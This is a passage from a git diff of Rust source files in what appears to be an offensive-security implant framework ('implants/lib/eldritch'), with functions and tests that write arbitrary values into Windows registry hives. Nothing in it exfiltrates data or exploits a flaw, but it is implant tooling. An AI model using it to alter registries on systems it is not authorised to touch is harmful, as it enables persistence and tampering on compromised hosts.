REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_RESOURCE_LIST, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_QWORD. ")), - }; - - Ok(true) - } -} - -#[cfg(test)] -mod tests { - - #[test] - fn test_write_reg_hex() -> anyhow::Result<()> { - #[cfg(target_os = "windows")] - { - use super::*; - use uuid::Uuid; - use winreg::{enums::*, RegKey}; - - let id = Uuid::new_v4(); - - // -------------------- WRITE_REG_HEX TESTS --------------------------------------- - //Write and then read REG_SZ into temp regkey... - let mut _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_SZ".to_string(), - "deadbeef".to_string(), - ); - let mut hkcu = RegKey::predef(HKEY_CURRENT_USER); - let mut subky = - hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - let mut val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.to_string(), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_NONE into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_NONE".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.to_string(), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_EXPAND_SZ into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_EXPAND_SZ".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.to_string(), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_BINARY into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_BINARY".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(hex::encode(val2.bytes), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_DWORD into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_DWORD".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(hex::encode(val2.bytes), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_DWORD_BIG_ENDIAN into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_DWORD_BIG_ENDIAN".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 0xdeadbeefu32.to_be_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_LINK into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_LINK".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.to_string(), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_MULTI_SZ into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_MULTI_SZ".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.to_string(), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_RESOURCE_LIST into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_RESOURCE_LIST".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(hex::encode(val2.bytes), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_FULL_RESOURCE_DESCRIPTOR into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_FULL_RESOURCE_DESCRIPTOR".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(hex::encode(val2.bytes), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_RESOURCE_REQUIREMENTS_LIST into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_RESOURCE_REQUIREMENTS_LIST".to_string(), - "deadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(hex::encode(val2.bytes), "deadbeef"); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_QWORD into temp regkey... - _ares = write_reg_hex( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_QWORD".to_string(), - "deadbeefdeadbeef".to_string(), - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 0xdeadbeefdeadbeefu64.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - } - - Ok(()) - } -} +use anyhow::Result; + +#[allow(unused_variables)] +pub fn write_reg_hex( + reghive: String, + regpath: String, + regname: String, + regtype: String, + regvalue: String, +) -> Result { + #[cfg(not(target_os = "windows"))] + return Err(anyhow::anyhow!( + "This OS isn't supported by the write_reg function. Only windows systems are supported" + )); + + #[cfg(target_os = "windows")] + { + use winreg::{enums::*, RegKey, RegValue}; + + //Accepted values for reghive : + //HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS + let ihive: isize = match reghive.as_ref() { + "HKEY_CLASSES_ROOT" => HKEY_CLASSES_ROOT, + "HKEY_CURRENT_USER" => HKEY_CURRENT_USER, + "HKEY_LOCAL_MACHINE" => HKEY_LOCAL_MACHINE, + "HKEY_USERS" => HKEY_USERS, + "HKEY_PERFORMANCE_DATA" => HKEY_PERFORMANCE_DATA, + "HKEY_PERFORMANCE_TEXT" => HKEY_PERFORMANCE_TEXT, + "HKEY_PERFORMANCE_NLSTEXT" => HKEY_PERFORMANCE_NLSTEXT, + "HKEY_CURRENT_CONFIG" => HKEY_CURRENT_CONFIG, + "HKEY_DYN_DATA" => HKEY_DYN_DATA, + "HKEY_CURRENT_USER_LOCAL_SETTINGS" => HKEY_CURRENT_USER_LOCAL_SETTINGS, + _ => return Err(anyhow::anyhow!("RegHive can only be one of the following values - HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS ")), + + }; + + let hive = RegKey::predef(ihive); + let (nkey, _ndisp) = hive.create_subkey(regpath)?; + + match regtype.as_ref() { + "REG_NONE" => { + nkey.set_value(regname, ®value)?; + }, + "REG_SZ" => nkey.set_value(regname, ®value)?, + "REG_EXPAND_SZ" => nkey.set_value(regname, ®value)?, + "REG_BINARY" => { + let parsed_value: Vec = hex::decode(regvalue)?; + let data = RegValue{ vtype: REG_BINARY, bytes: parsed_value}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_DWORD" => { + let parsed_value: Vec = hex::decode(regvalue)?; + let data = RegValue{ vtype: REG_DWORD, bytes: parsed_value}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_DWORD_BIG_ENDIAN" => { + let parsed_value: u32 = u32::from_str_radix(®value, 16)?; + let data = RegValue{ vtype: REG_DWORD_BIG_ENDIAN, bytes: parsed_value.to_be_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_LINK" => { + nkey.set_value(regname, ®value)?; + }, + "REG_MULTI_SZ" => { + let parsed_value: Vec<&str> = regvalue.split(',').collect(); + nkey.set_value(regname, &parsed_value)?; + }, + "REG_RESOURCE_LIST" => { + let parsed_value: Vec = hex::decode(regvalue)?; + let data = RegValue{ vtype: REG_RESOURCE_LIST, bytes: parsed_value}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_FULL_RESOURCE_DESCRIPTOR" => { + let parsed_value: Vec = hex::decode(regvalue)?; + let data = RegValue{ vtype: REG_FULL_RESOURCE_DESCRIPTOR, bytes: parsed_value}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_RESOURCE_REQUIREMENTS_LIST" => { + let parsed_value: Vec = hex::decode(regvalue)?; + let data = RegValue{ vtype: REG_RESOURCE_REQUIREMENTS_LIST, bytes: parsed_value}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_QWORD" => { + let parsed_value: u64 = u64::from_str_radix(®value, 16)?; + let data = RegValue{ vtype: REG_QWORD, bytes: parsed_value.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + _ => return Err(anyhow::anyhow!("RegType can only be one of the following values - REG_NONE, REG_SZ, REG_EXPAND_SZ, REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_RESOURCE_LIST, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_QWORD. ")), + }; + + Ok(true) + } +} + +#[cfg(test)] +mod tests { + + #[test] + fn test_write_reg_hex() -> anyhow::Result<()> { + #[cfg(target_os = "windows")] + { + use super::*; + use uuid::Uuid; + use winreg::{enums::*, RegKey}; + + let id = Uuid::new_v4(); + + // -------------------- WRITE_REG_HEX TESTS --------------------------------------- + //Write and then read REG_SZ into temp regkey... + let mut _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_SZ".to_string(), + "deadbeef".to_string(), + ); + let mut hkcu = RegKey::predef(HKEY_CURRENT_USER); + let mut subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + let mut val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.to_string(), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_NONE into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_NONE".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.to_string(), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_EXPAND_SZ into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_EXPAND_SZ".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.to_string(), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_BINARY into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_BINARY".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(hex::encode(val2.bytes), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_DWORD into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_DWORD".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(hex::encode(val2.bytes), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_DWORD_BIG_ENDIAN into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_DWORD_BIG_ENDIAN".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 0xdeadbeefu32.to_be_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_LINK into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_LINK".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.to_string(), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_MULTI_SZ into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_MULTI_SZ".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.to_string(), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_RESOURCE_LIST into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_RESOURCE_LIST".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(hex::encode(val2.bytes), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_FULL_RESOURCE_DESCRIPTOR into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_FULL_RESOURCE_DESCRIPTOR".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(hex::encode(val2.bytes), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_RESOURCE_REQUIREMENTS_LIST into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_RESOURCE_REQUIREMENTS_LIST".to_string(), + "deadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(hex::encode(val2.bytes), "deadbeef"); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_QWORD into temp regkey... + _ares = write_reg_hex( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_QWORD".to_string(), + "deadbeefdeadbeef".to_string(), + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 0xdeadbeefdeadbeefu64.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + } + + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/sys/write_reg_int_impl.rs b/implants/lib/eldritch/src/sys/write_reg_int_impl.rs index 13dee9df8..c836385cc 100644 --- a/implants/lib/eldritch/src/sys/write_reg_int_impl.rs +++ b/implants/lib/eldritch/src/sys/write_reg_int_impl.rs @@ -1,297 +1,296 @@ -use anyhow::Result; - -#[allow(unused_variables)] -pub fn write_reg_int( - reghive: String, - regpath: String, - regname: String, - regtype: String, - regvalue: u32, -) -> Result { - #[cfg(not(target_os = "windows"))] - return Err(anyhow::anyhow!( - "This OS isn't supported by the write_reg function. Only windows systems are supported" - )); - - #[cfg(target_os = "windows")] - { - use winreg::{enums::*, RegKey, RegValue}; - - //Accepted values for reghive : - //HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS - let ihive: isize = match reghive.as_ref() { - "HKEY_CLASSES_ROOT" => HKEY_CLASSES_ROOT, - "HKEY_CURRENT_USER" => HKEY_CURRENT_USER, - "HKEY_LOCAL_MACHINE" => HKEY_LOCAL_MACHINE, - "HKEY_USERS" => HKEY_USERS, - "HKEY_PERFORMANCE_DATA" => HKEY_PERFORMANCE_DATA, - "HKEY_PERFORMANCE_TEXT" => HKEY_PERFORMANCE_TEXT, - "HKEY_PERFORMANCE_NLSTEXT" => HKEY_PERFORMANCE_NLSTEXT, - "HKEY_CURRENT_CONFIG" => HKEY_CURRENT_CONFIG, - "HKEY_DYN_DATA" => HKEY_DYN_DATA, - "HKEY_CURRENT_USER_LOCAL_SETTINGS" => HKEY_CURRENT_USER_LOCAL_SETTINGS, - _ => return Err(anyhow::anyhow!("RegHive can only be one of the following values - HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS ")), - - }; - - let hive = RegKey::predef(ihive); - let (nkey, _ndisp) = hive.create_subkey(regpath)?; - - match regtype.as_ref() { - "REG_NONE" => { - nkey.set_value(regname, ®value)?; - }, - "REG_SZ" => nkey.set_value(regname, ®value)?, - "REG_EXPAND_SZ" => nkey.set_value(regname, ®value)?, - "REG_BINARY" => { - let data = RegValue{ vtype: REG_BINARY, bytes: regvalue.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_DWORD" => { - let data = RegValue{ vtype: REG_DWORD, bytes: regvalue.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_DWORD_BIG_ENDIAN" => { - let data = RegValue{ vtype: REG_DWORD_BIG_ENDIAN, bytes: regvalue.to_be_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_LINK" => { - nkey.set_value(regname, ®value)?; - }, - "REG_MULTI_SZ" => { - nkey.set_value(regname, ®value)?; - }, - "REG_RESOURCE_LIST" => { - let data = RegValue{ vtype: REG_RESOURCE_LIST, bytes: regvalue.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_FULL_RESOURCE_DESCRIPTOR" => { - let data = RegValue{ vtype: REG_FULL_RESOURCE_DESCRIPTOR, bytes: regvalue.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_RESOURCE_REQUIREMENTS_LIST" => { - let data = RegValue{ vtype: REG_RESOURCE_REQUIREMENTS_LIST, bytes: regvalue.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - "REG_QWORD" => { - let data = RegValue{ vtype: REG_QWORD, bytes: regvalue.to_le_bytes().to_vec()}; - nkey.set_raw_value(regname, &data)?; - }, - _ => return Err(anyhow::anyhow!("RegType can only be one of the following values - REG_NONE, REG_SZ, REG_EXPAND_SZ, REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_RESOURCE_LIST, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_QWORD. ")), - }; - - Ok(true) - } -} - -#[cfg(test)] -mod tests { - - #[test] - fn test_write_reg_int() -> anyhow::Result<()> { - #[cfg(target_os = "windows")] - { - use super::*; - use uuid::Uuid; - use winreg::{enums::*, RegKey}; - - let id = Uuid::new_v4(); - - // -------------------- WRITE_REG_INT TESTS --------------------------------------- - //Write and then read REG_SZ into temp regkey... - let mut _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_SZ".to_string(), - 12345678, - ); - let mut hkcu = RegKey::predef(HKEY_CURRENT_USER); - let mut subky = - hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - let mut val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_NONE into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_NONE".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_EXPAND_SZ into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_EXPAND_SZ".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_BINARY into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_BINARY".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_DWORD into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_DWORD".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_DWORD_BIG_ENDIAN into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_DWORD_BIG_ENDIAN".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_be_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_LINK into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_LINK".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_MULTI_SZ into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_MULTI_SZ".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_RESOURCE_LIST into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_RESOURCE_LIST".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_FULL_RESOURCE_DESCRIPTOR into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_FULL_RESOURCE_DESCRIPTOR".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_RESOURCE_REQUIREMENTS_LIST into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - "REG_RESOURCE_REQUIREMENTS_LIST".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - - //Write and then read REG_QWORD into temp regkey... - _ares = write_reg_int( - "HKEY_CURRENT_USER".to_string(), - format!("SOFTWARE\\{}", id), - "FOO2".to_string(), - 